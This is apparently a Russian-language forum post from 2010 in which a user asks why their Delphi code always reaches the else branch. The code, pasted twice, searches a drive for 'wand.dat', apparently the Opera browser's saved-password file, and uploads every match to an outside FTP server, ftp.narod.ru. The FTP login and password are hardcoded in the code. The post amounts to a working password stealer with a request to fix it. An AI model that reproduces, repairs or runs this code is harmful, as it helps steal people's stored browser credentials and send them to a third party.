Fox-007
04.12.2010, 22:20
Эта програмы всегда выдает элсе
вот в этом месте:if n = 'wand.dat' then
idftp1.Put(n, IntToStr(int)+'wand.dat', true)
else
idftp1.Put(n, IntToStr(int)+'qwerty.dat', true);
procedure TForm1.FormCreate(Sender: TObject);
begin
mFileScan1.Paths.Text:= DriveComboBox1.Drive + ':\';
mFileScan1.Filters.Clear;
mFileScan1.Filters.Add('wand.dat');
mFileScan1.Start;
end;
procedure TForm1.mFileScan1FileFound(Sender: TObject; FileName: String);
var
n : string;
i : integer ;
int : integer;
begin
for i := 1 to 5 do
begin
int := 1 + Random(1000);
end;
if tcpClient1.LocalHostAddr <>'127.0.0.1'
then
begin
n := (FileName) ;
IdFTP1.Host:= 'ftp.narod.ru';
IdFTP1.Port:=21;
IdFTP1.Username:='brokorov';
IdFTP1.Password:='jlu0f5ws';
IdFTP1.Connect;
if n = 'wand.dat' then
idftp1.Put(n, IntToStr(int)+'wand.dat', true)
else
idftp1.Put(n, IntToStr(int)+'qwerty.dat', true);
idftp1.Disconnect;
end
else showmessage('Соединение с интернетом отсутствует!');
end;
вот в этом месте:if n = 'wand.dat' then
idftp1.Put(n, IntToStr(int)+'wand.dat', true)
else
idftp1.Put(n, IntToStr(int)+'qwerty.dat', true);
procedure TForm1.FormCreate(Sender: TObject);
begin
mFileScan1.Paths.Text:= DriveComboBox1.Drive + ':\';
mFileScan1.Filters.Clear;
mFileScan1.Filters.Add('wand.dat');
mFileScan1.Start;
end;
procedure TForm1.mFileScan1FileFound(Sender: TObject; FileName: String);
var
n : string;
i : integer ;
int : integer;
begin
for i := 1 to 5 do
begin
int := 1 + Random(1000);
end;
if tcpClient1.LocalHostAddr <>'127.0.0.1'
then
begin
n := (FileName) ;
IdFTP1.Host:= 'ftp.narod.ru';
IdFTP1.Port:=21;
IdFTP1.Username:='brokorov';
IdFTP1.Password:='jlu0f5ws';
IdFTP1.Connect;
if n = 'wand.dat' then
idftp1.Put(n, IntToStr(int)+'wand.dat', true)
else
idftp1.Put(n, IntToStr(int)+'qwerty.dat', true);
idftp1.Disconnect;
end
else showmessage('Соединение с интернетом отсутствует!');
end;